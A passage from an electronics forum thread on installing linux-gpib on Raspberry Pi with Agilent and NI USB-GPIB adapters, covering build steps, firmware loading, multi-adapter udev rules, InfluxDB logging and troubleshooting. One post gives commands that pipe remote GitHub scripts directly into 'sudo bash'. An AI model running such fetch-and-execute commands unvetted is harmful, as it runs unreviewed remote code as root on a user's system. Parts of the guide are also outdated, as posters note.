sudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex //1st FW load

lsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex //2nd FW load

lsusb -d 0957:0718 //output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.

lsmod | grep agilent //output (2 lines): agilent_82357a & gpib_common

6.3 Test userspace
sudo ldconfig && sudo gpib_config
//finish without error, else the configuration is not correct -> 4.2
« Last Edit: September 25, 2023, 01:04:06 pm by MiDi »
 

Offline bitseeker

  • Super Contributor
  • ***
  • Posts: 9057
  • Country: us
  • Lots of engineer-tweakable parts inside!
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #372 on: December 03, 2018, 07:06:58 am »
Thanks, MiDi. I hadn't tried using my Agilent USB-GPIB with RPi, yet.
TEA is the way. | TEA Time channel
 

Offline pansku

  • Regular Contributor
  • *
  • Posts: 60
  • Country: fi
Re: Linux-GPIB on Raspi - a guide
« Reply #373 on: December 04, 2018, 03:48:58 pm »
As I and others had quite some trouble to get the current gpib version 4.2.0 (r1771) to run on raspi with the Agilent adapter, I decided to put together a guide.

Thank you so much, I finally got the thing working on 3B+ !!  :-+

Now I just need to figure out why my HP6632A and K2015 work perfectly fine seperately, but only the Keithley works when they are daisy-chained and the Agilent pod is on either of those 2  :-/O
 

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #374 on: December 05, 2018, 10:29:42 am »
Nice, so for now all raspis are covered as I did successful test on pi 2 too.
Perhaps I will do test on current debian/ubuntu sometimes...
If someone did, would be nice to get the results.

@TiN: Your guides for linux-gpib show up on top of (google) search, so feel free to use my guide and update your guides.
To reveal: You get my permission without need for reference to me.
 

Offline dkozel

  • Regular Contributor
  • *
  • Posts: 116
  • Country: gb
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #375 on: December 05, 2018, 11:46:40 am »
Ha, managed to miss this thread completely over the last week while setting up a pi to do 3458A data logging. Oops.

As for linux-gpib, I agree that it's been a little involved to get setup. I did a bit of work over the weekend and have made Debian packages for the kernel module and userspace library. I need to make one for the firmware and then do a bit of polishing, but it should be available in the next Debian and Ubuntu releases through apt. Rasbian builds their packages from the Debian repo but since this has a kernel module I'm guessing there'll be some additional work needed.

In the meanwhile I'm in the middle of pushing the packages to a PPA so it will be available for at least 16.04 onwards. The link below should work in the next day or so.
https://launchpad.net/~dkozel/+archive/ubuntu/linux-gpib
 
The following users thanked this post: bitseeker

Offline philipz

  • Contributor
  • Posts: 30
  • Country: bg
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #376 on: May 06, 2019, 03:42:04 pm »

After image recovery run
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and Samba
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
Supported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.
On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)

Only BME280 and DS18S20 supported, but adding support will be easy.
Plesa, Thank you for you hard work to make this project working.
I prepare sdcard today and there is some changes:
1. Current version of raspbian is 2019-04-08-raspbian-stretch with kernel 4.14.98+
2. linux-gpib-4.0.4 is not available any more. Please, update your script Install_GPIB_Support.sh to download  https://downloads.sourceforge.net/project/linux-gpib/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.1.0/linux-gpib-4.1.0.tar.gz and change according followed commands.
3. For script Web_Samba.sh change python-wxglade to wxglade (name was changed). During creation of directory in pub you made small typo and create 'log' instead of 'logs' .

I can confirm that this setup working fine with counterfeit 82357B and Raspberry Pi Model B Rev 2 and talk with Amrel PPS 30-2.5 .

Note for the other users - don't use
Code: [Select]
sudo rpi-update because it upgrade the kernel to 4.19.37+, but apt-get still download 4.14.98+ source and compilation of linux-gpib finish with errors.
 
The following users thanked this post: bitseeker, alm, velik_kazakov

Offline branadic

  • Super Contributor
  • ***
  • Posts: 2378
  • Country: de
  • Sounds like noise
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #377 on: July 11, 2019, 01:17:15 pm »
Hi,

with the support of Santa's little helper I was able to get RPi3 up and running with linux-gpib and GPIB-USB-adapter. I can strongly recommend this solution and have to say thanks to the guys that helped not only to get the adapter running, but also snake script controlling GPIB devices and serial interface for my ambient sensors.  :-+
My tool chain is RPi3 running the Python script in the background, which writes all data I need into a file, Bitwise on my Windows10 laptop to grap latest data via SSH and control RPi and GNU Octave on my Windows machine to visualize data with nice plots. So a complete open source solution/tool chain. I won't become a Python fanboy, but it's doing it's job reliable by now.

-branadic-
Computers exist to solve problems that we wouldn't have without them. AI exists to answer questions, we wouldn't ask without it.
 
The following users thanked this post: TiN, 2N3055, MiDi

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #378 on: July 11, 2019, 03:12:12 pm »
Note for the other users - don't use
Code: [Select]
sudo rpi-update because it upgrade the kernel to 4.19.37+, but apt-get still download 4.14.98+ source and compilation of linux-gpib finish with errors.

NEVER do this if not needed and unless you know what you are doing:

Quote
The rpi-update utility will download the latest (unstable, testing) kernel.
A good reason for using this would be if you like to help with the testing effort, and are happy to risk breakages and submit bug reports.

If you need to update Kernel (there should be good reasons to do that), this would be recommended:

Quote
sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel

@branadic which Version of Linux-gpib have you installed?
« Last Edit: July 11, 2019, 03:28:42 pm by MiDi »
 

Offline branadic

  • Super Contributor
  • ***
  • Posts: 2378
  • Country: de
  • Sounds like noise
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #379 on: July 11, 2019, 04:26:57 pm »
Quote
@branadic which Version of Linux-gpib have you installed?

LINUX-GPIB 4.2.0 Driver

-branadic-
Computers exist to solve problems that we wouldn't have without them. AI exists to answer questions, we wouldn't ask without it.
 

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #380 on: July 11, 2019, 04:41:38 pm »
There are several bug fixes and improvements in current (dev) repository, but if you do not encounter any problems with 4.2.0 there is no need to follow the complicated way.
« Last Edit: July 11, 2019, 04:44:52 pm by MiDi »
 

Offline picburner

  • Frequent Contributor
  • **
  • Posts: 496
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #381 on: October 03, 2019, 04:15:51 pm »
Has anyone tried to install the new Linux-GPIB 4.3.0 drivers?
 

Offline branadic

  • Super Contributor
  • ***
  • Posts: 2378
  • Country: de
  • Sounds like noise
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #382 on: November 14, 2019, 03:26:46 pm »
Hi,

with a little help of a voltnut I got the latest GPIB driver 4.3.0 up and running on a RPi4 with EEPROM update, so power consupmtion and CPU temperature already dropped.

A very nice solution for longterm logging and visualization is the installation of the TICK stack (or at least influxdb plus Chronograf), saving time series data such as output of a voltage reference together with ambient sensor data into an influxdb database, a time series database (TSDB). Chronograf can be used to get fast access to the data and to plot them, without any line of code.
Here is how you install the stack: https://iotbyhvm.ooo/tick-satck-on-raspberry-pi/ I can share python skript and how to's to get it up and running.

Simply use a browser, enter the database directly on the system, drag and drop the graphs you need. Or access the data from any other computer in the network with a browser. I have nice little 10" displays 1280x800 all over the place to show what's going on during measurements or inside temperature controlled labs. We now have multiple systems up and running and also added an OPCUA server based on free opc ua (https://github.com/FreeOpcUa) so that data are also available over an industrial standard interface in a bigger network or if you prefer for AI based analysis.

It's fairly simple especially for people not experienced with Linux. I strongly recommend this solution and it is running stable.

-branadic-
Computers exist to solve problems that we wouldn't have without them. AI exists to answer questions, we wouldn't ask without it.
 
The following users thanked this post: picburner, bitseeker, 2N3055, MiDi, ipqobk, notfaded1, Inconel-oh-el

Offline notfaded1

  • Frequent Contributor
  • **
  • Posts: 559
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #383 on: February 29, 2020, 04:46:28 am »
Hi,

with a little help of a voltnut I got the latest GPIB driver 4.3.0 up and running on a RPi4 with EEPROM update, so power consupmtion and CPU temperature already dropped.

A very nice solution for longterm logging and visualization is the installation of the TICK stack (or at least influxdb plus Chronograf), saving time series data such as output of a voltage reference together with ambient sensor data into an influxdb database, a time series database (TSDB). Chronograf can be used to get fast access to the data and to plot them, without any line of code.
Here is how you install the stack: https://iotbyhvm.ooo/tick-satck-on-raspberry-pi/ I can share python skript and how to's to get it up and running.

Simply use a browser, enter the database directly on the system, drag and drop the graphs you need. Or access the data from any other computer in the network with a browser. I have nice little 10" displays 1280x800 all over the place to show what's going on during measurements or inside temperature controlled labs. We now have multiple systems up and running and also added an OPCUA server based on free opc ua (https://github.com/FreeOpcUa) so that data are also available over an industrial standard interface in a bigger network or if you prefer for AI based analysis.

It's fairly simple especially for people not experienced with Linux. I strongly recommend this solution and it is running stable.

-branadic-
How has this still been working for you @branadic?  I just got raspbian 10 "buster" running with the Keysight 82357B on pi3.  I'm looking at the TICK stack link and it looks like good instructions.  Is anyone else using and tried this?

I went ahead and installed it... figuring it out now.  It looks like the connection is refused to webserver port 8083 by default.  I'm sure it's security on the pi3.

Thnx,

B
« Last Edit: February 29, 2020, 05:28:27 am by notfaded1 »
.ılılı..ılılı.
notfaded1
 

Offline branadic

  • Super Contributor
  • ***
  • Posts: 2378
  • Country: de
  • Sounds like noise
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #384 on: February 29, 2020, 09:31:43 am »
It works fine for me, though I use the TICK stack only at work. If you like I can share a complete image, with everything set up. It is based on Raspbian buster too. The port for Chronograf is 8888.

-branadic-
Computers exist to solve problems that we wouldn't have without them. AI exists to answer questions, we wouldn't ask without it.
 
The following users thanked this post: notfaded1

Offline notfaded1

  • Frequent Contributor
  • **
  • Posts: 559
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #385 on: March 01, 2020, 01:55:03 am »
That worked when I tried 8888 instead of the other port 8083 I was trying... thanks!  I built my image from scratch.  I've got the GPIB working with Keysight adapter with a few tips from TiN's blog... thanks Illya!  :-+  This looks like some totally legit modern data scientist stack to me!  The ratings prove that...now I gotta learn this SQL like language and figure out how to ingest the 3458 and see if I can get the USB-PA (BME280) in here too.

Bill
« Last Edit: March 01, 2020, 02:04:16 am by notfaded1 »
.ılılı..ılılı.
notfaded1
 

Offline notfaded1

  • Frequent Contributor
  • **
  • Posts: 559
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #386 on: March 01, 2020, 02:40:57 am »
What do you use at home?  This is pretty awesome how it works and I'm totally new with this.  I see the pi3 machine stats can show up really easily!  The dashboards stuff is really sweet.
.ılılı..ılılı.
notfaded1
 

Offline notfaded1

  • Frequent Contributor
  • **
  • Posts: 559
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #387 on: March 01, 2020, 02:46:08 am »
Can you share some python scripts you use with 3458 with python and pyvisa?  If it can dump to even a csv Chronograf can suck it right in since the TICK stack is a real database wow this is legit... thanks for the tip branadic!

Bill
« Last Edit: March 01, 2020, 02:50:47 am by notfaded1 »
.ılılı..ılılı.
notfaded1
 

Offline notfaded1

  • Frequent Contributor
  • **
  • Posts: 559
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #388 on: March 01, 2020, 02:48:01 am »
If I had known before I would have just taken you up on the image but since I've got it all running now... maybe no point?  IDK you're the expert here lololol... well you've use this more than me.
.ılılı..ılılı.
notfaded1
 

Offline notfaded1

  • Frequent Contributor
  • **
  • Posts: 559
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #389 on: March 01, 2020, 05:08:21 am »
I found the xDevs.com Python test GPIB app script and it's a start.  Perhaps if I get a group of scripts together that work I'll make a post about it.  TiN's stuff is about the best compilation I've found so far.
« Last Edit: March 01, 2020, 05:11:00 am by notfaded1 »
.ılılı..ılılı.
notfaded1
 

Offline velik_kazakov

  • Regular Contributor
  • *
  • Posts: 59
  • Country: bg
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #390 on: March 05, 2020, 10:03:45 am »
It works fine for me, though I use the TICK stack only at work. If you like I can share a complete image, with everything set up. It is based on Raspbian buster too. The port for Chronograf is 8888.

-branadic-

Branadic, can you post a python script that you use to write to TICK stack. Thank you in advance!
Sorry for my bad English!
 

Offline branadic

  • Super Contributor
  • ***
  • Posts: 2378
  • Country: de
  • Sounds like noise
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #391 on: March 05, 2020, 10:42:35 am »
Attached is an example script, that reads BMP085 and SHT21 via I²C and writes them into an influxdb database.
Rename it to *.py

The script is started with the command line:

python AmbientSensors.py -db="your database name" -sn="your measurement series"

example:
python AmbientSensors.py -db=AmbientData -sn=test

You need to create a database first:

1. sudo service inflxudb start
2. sudo netstat -lp|grep 8086 --> check if everything is working as expected, port 8086 should be in use
3. influx -precision rfc3339
4. create database "your database name"
(show databases and drop database are relevant commands)
5. leave the influxdb with "exit"

Hope that helps.

-branadic-
« Last Edit: March 05, 2020, 10:44:29 am by branadic »
Computers exist to solve problems that we wouldn't have without them. AI exists to answer questions, we wouldn't ask without it.
 
The following users thanked this post: velik_kazakov, notfaded1

Offline Irv1n

  • Newbie
  • Posts: 8
  • Country: by
Re: Linux-GPIB on Raspi - a guide
« Reply #392 on: October 31, 2020, 07:50:15 am »
As I and others had quite some trouble to get the current gpib version 4.2.0 (r1771) to run on raspi with the Agilent adapter, I decided to put together a guide.

The base - without the specific Agilent adapter part - should be universal for all adapters.

I am not the brightest light on linux, so if there is something to improve, your contribution is welcome!

Code: [Select]
Install GPIB on Linux with Agilent USB-GPIB adapter (tested with raspbian stretch 2018-12-03 (4.14.79-v7+) and linux gpib 4.2.0 (r1771) on pi3 & pi b+):

Sources:
[url]https://xdevs.com/guide/agilent_gpib_rpi/[/url]
[url]https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773[/url]
[url]https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?all[/url]
[url]https://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/[/url] -> History

1. Preparation
sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade && echo 'Rebooting...' && sudo reboot

2. Install Kernel-Headers
sudo apt-get install raspberrypi-kernel-headers && [ -d /usr/src/linux-headers-$(uname -r) ] && echo 'kernel-headers installed' || echo 'ERROR: wrong or no kernel-headers installed: '$(ls /usr/src/)', should be '$(uname -r  | cut -d+ -f1)

//If newer headers are installed, updating kernel could be an option (at your own risk)
//sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel

//If older headers are installed, we are stuck and have to wait until the newer headers are released

3. Install GPIB

3.1 Install build-tools
sudo apt-get install build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool libpython3-dev libpython-dev

3.2 Build & install GPIB kernel module
sudo svn checkout svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/linux-gpib-kernel/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install

3.3 Build & install GPIB user module
cd /usr/local/src/linux-gpib-code/linux-gpib-user/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install

//Alternative, for version < 4.2.0 (<=r1730, in r1731 the gpib is splitted into kernel and usermode)
//3.2 Build & install GPIB 4.1.0 with latest fixes
//sudo svn checkout -r 1730 svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/linux-gpib/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install


4. Install Agilent 82357a

4.1 Get Firmware
cd /usr/local/src/linux-gpib-code/ && sudo apt-get install fxload && sudo wget [url]http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz[/url] && sudo tar xvzf gpib_firmware-2008-08-10.tar.gz && cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/

4.2 Config
//adapter
sudo vi $(sudo find / -name 'gpib.conf' | grep etc) //new location since r1757 (changed from /etc/gpib.conf to $(sysconfdir)/gpib.conf)
-> board_type = "agilent_82357a"

//auto download firmware
sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)

//udev rules
sudo cp /usr/local/etc/udev/rules.d/* /etc/udev/rules.d/  //seems that the udev rules are copied to incorrect location - bug in gpib or raspbian? In r1730 everything is fine, in which release does it break?

// Grant user permission
// Since r1748, group gpib has to be created manually
sudo groupadd gpib
// Add user to group - for other user replace 'pi' with name of other user
sudo adduser pi gpib

5. Finish

5.1 Reboot
sudo reboot
//after reboot, all leds should be lit on the adapter (2x green, red), if not there is a problem
//after plug-in the adapter all leds should be lit (2x green, red), if not there is a problem

5.2 Test with connected equiptment (optional)
ibtest
d
//device id
w
//after here is device specific, given are examples for HP/Agilent/Keysight devices (tested with 3457A/3458A)
END ALWAYS
w
ID?
r
[enter]
//prints: HP345xA
q //quit


6 Trouble-shooting

6.1 Test gpib module
lsmod | grep gpib_common
//Should give a line back with gpib_common, if not try next step

sudo modprobe gpib_common
lsmod | grep gpib_common
//should finish without error & print gpib_common, else gpib is not installed -> try 3. and watch out for errors

6.2 Test Adapter (only needed if not all leds are lit)
//Load Firmware for testing (latest point to plugin Adapter)
cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/
lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex //1st FW load

lsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex //2nd FW load

lsusb -d 0957:0718 //output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.

lsmod | grep agilent //output (2 lines): agilent_82357a & gpib_common

6.3 Test userspace
sudo ldconfig && sudo gpib_config
//finish without error, else the configuration is not correct -> 4.2

Hi everyone!
When I try to connect my rpi3 and Agilent gpib on the point 3.2 from this guide I have an error on command ./bootstrap command not found
have any ideas?
 

Offline maat

  • Regular Contributor
  • *
  • Posts: 144
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #393 on: October 31, 2020, 08:28:04 am »
What is the content of your /usr/local/src/linux-gpib-code/linux-gpib-kernel/ folder?

Never mind. I just checked on my installation. The kernel module only requires a make -> sudo make install

Edit 2:
You might also want to change step 3.3 from
.configure to ./configure --sysconfdir=/etc
« Last Edit: October 31, 2020, 08:35:18 am by maat »
 
The following users thanked this post: Irv1n

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #394 on: October 31, 2020, 08:31:43 am »
Looking at the repository, I don't think the kernel driver uses autoconf (anymore?). For step 3.2, try getting rid of ./bootstrap and ./configure, so just cd ... && make && sudo make install.
 
The following users thanked this post: Irv1n

Online e61_phil

  • Frequent Contributor
  • **
  • Posts: 962
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #395 on: December 06, 2020, 12:47:06 pm »
Hi together,

Many thanks to MiDi, with his guide it was very easy to set up a Rapsberry Pi 4 with the Agilent GPIB Adaptor, but...

I would like to use both of my Agilent GPIB adaptors as before with windows (I have more than 14 instruments connected with a lot of cable and I had problems by using only a single GPIB bus in the past).

I simply added (copied the whole interface section) another interface with minor=1 in the gpib.conf

lsusb showed the changed IDs, therefore it seems that both adaptors has gotten the firmware. If I connect just one adaptor the LEDs turn into green and it works (ibtest, python etc). As soon as I connect the second one, the LEDs from the first one turn off and the second one becomes green. It doesn't matter which one I connect first, only the latest one is working.

Does anyone have experience with that or any idea?

Best regards
Philipp

 

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #396 on: December 06, 2020, 05:09:55 pm »
Very much appreciated Philipp, glad the guide is helpful.

As stated earlier, the guide needs some modifications for new linuxgpib version 4.3 as there were major changes.
I would have to dive into it, but at the moment there is not the required spare time for this.
If someone would post needed modifications to get it work, I would update the guide.

Now to your problem Philipp:
Editing /usr/local/etc/hotplug/usb/agilent_82357a seems to do the trick:

Code: [Select]
# Multi-board with serial numbers
# Uncomment and edit the code below to setup the serial numbers and minors
# that correspond to your system.
#
#case $SERIAL in
#    A0000001) GPIB_CONFIG_OPTIONS="--minor 0"
#             ;;
#    A0000002) GPIB_CONFIG_OPTIONS="--minor 1"
#             ;;
#esac
#

To get the Serial to replace A0000001 and A0000002 for each device:

Code: [Select]
lsusb -d 0957:0518
lsusb -d 0957:0718
//Gives e.g.: Bus 001 Device 030: ID 0957:0718 Agilent Technologies, Inc.
sudo lsusb -v -s [Device e.g. 030]
//do this for each device listed and get the iSerial (e.g.: MX42480527)
« Last Edit: December 06, 2020, 07:30:46 pm by MiDi »
 
The following users thanked this post: e61_phil

Online e61_phil

  • Frequent Contributor
  • **
  • Posts: 962
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #397 on: December 06, 2020, 07:57:00 pm »
Hi MiDi,

thank you very much for your fast help. Yes, the guide isn't up to date and you cannot just copy and paste the commands, but it leads you very quick to the desired results.

It is similiar with your tip: I don't have this hotplug folder, but I edited the 98-gpib-generic.rules (there was already an example).

Code: [Select]
SUBSYSTEM=="usb", ACTION=="add|change", ATTRS{idVendor}=="0957", ATTRS{idProduct}=="0718", ATTRS{serial}=="MY53xxxxx1", ENV{GPIB_CONFIG_OPTIONS}="--minor 0"
SUBSYSTEM=="usb", ACTION=="add|change", ATTRS{idVendor}=="0957", ATTRS{idProduct}=="0718", ATTRS{serial}=="MY53xxxxx2", ENV{GPIB_CONFIG_OPTIONS}="--minor 1"

That helped with the adaptors itself and both are green now and dmesg is telling me that it attaches one with minor 0 and the other with minor 1, but the rest isn't working anymore. Python3 doesn't connect to any device and even ibtest isn't working anymore.

Sounds like a stupid mistake at some point...
 
The following users thanked this post: MiDi

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #398 on: December 06, 2020, 11:25:38 pm »
Go through #6 of my guide, hopefully that helps.
 

Offline Irv1n

  • Newbie
  • Posts: 8
  • Country: by
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #399 on: December 12, 2020, 02:25:42 pm »
hmmm all working good with ni_usb. But now when I type gpib_config I have this: failed to open device file '/dev/gpib0'
main: No such file or directory

can some advice?
 

Offline picburner

  • Frequent Contributor
  • **
  • Posts: 496
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #400 on: December 12, 2020, 05:10:26 pm »
Have you made any upgrades lately?
If you have upgraded the Kernel you have to repeat the Linux-Gpib installation procedure.
 
The following users thanked this post: Irv1n

Offline wiesl

  • Contributor
  • Posts: 21
  • Country: at
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #401 on: March 16, 2021, 02:26:28 pm »
Any new version available?
 

Offline picburner

  • Frequent Contributor
  • **
  • Posts: 496
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #402 on: March 17, 2021, 07:05:34 am »
The linux-gpib 4.3.4 version has been released from a while, essential if you have updated to raspberrypi-kernel 1.20210303-1.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #403 on: April 01, 2021, 05:31:06 pm »
I just installed it too.   Looking at it so I can log some usb devices.  Trying to figure out how it works.
 

Offline nitromethane

  • Contributor
  • Posts: 11
  • Country: si
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #404 on: November 09, 2021, 09:14:08 pm »
Hi, new guy here.

I'm trying to get measurements from my instruments (Keithley 196 and 199) via GPIO based GPIB interface using linux-gpib on a RPi3.
So far I've been able to successfully compile linux-gpib software on the Pi and can send valid commands to instruments using the ibtest program.
Reading measurements from instruments is where I get stuck.

If I try to read using the ibtest program I get timeout error:
Code: [Select]
You can:
        w(a)it for an event
        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: r
enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: ''
Number of bytes read: 0
gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 6
EABO 6: Operation aborted

ibcntl = 0

Or if I try to send command bytes, interface clear command, asserting ATN,... I get Bad argument errors
Code: [Select]
You can:
        w(a)it for an event
        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: i
gpib status is:
ibsta = 0x8100  < ERR CMPL >
iberr= 4
EARG 4: Bad argument

ibcntl = 0
You can:
        w(a)it for an event
        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: k
Enter '1' to assert ATN synchronously, or '0' for asynchronously [1]: 1
Taking control synchronously...
gpib status is:
ibsta = 0x8100  < ERR CMPL >
iberr= 4
EARG 4: Bad argument

ibcntl = 0

I also tried using Python commands, but with similar results.

The interface circuit I use seems to be working fine as I can send commands to instruments just fine and can read measurements from keithleys using an Arduino running AR488 connected to said circuit.

I think what I need is just a kick in the right direction to get me rolling forward, so if anyone has any good suggestions, please let me know :)
 

Offline miro123

  • Regular Contributor
  • *
  • Posts: 202
  • Country: nl
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #405 on: November 13, 2021, 09:39:07 pm »
does Keithley's work well with AR488?
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #406 on: November 14, 2021, 06:25:28 pm »
Hi, new guy here.

I'm trying to get measurements from my instruments (Keithley 196 and 199) via GPIO based GPIB interface using linux-gpib on a RPi3.
So far I've been able to successfully compile linux-gpib software on the Pi and can send valid commands to instruments using the ibtest program.
Reading measurements from instruments is where I get stuck.

If I try to read using the ibtest program I get timeout error:
Code: [Select]
You can:
        w(a)it for an event
        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: r
enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: ''
Number of bytes read: 0
gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 6
EABO 6: Operation aborted

ibcntl = 0

Or if I try to send command bytes, interface clear command, asserting ATN,... I get Bad argument errors
Code: [Select]
You can:
        w(a)it for an event
        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: i
gpib status is:
ibsta = 0x8100  < ERR CMPL >
iberr= 4
EARG 4: Bad argument

ibcntl = 0
You can:
        w(a)it for an event
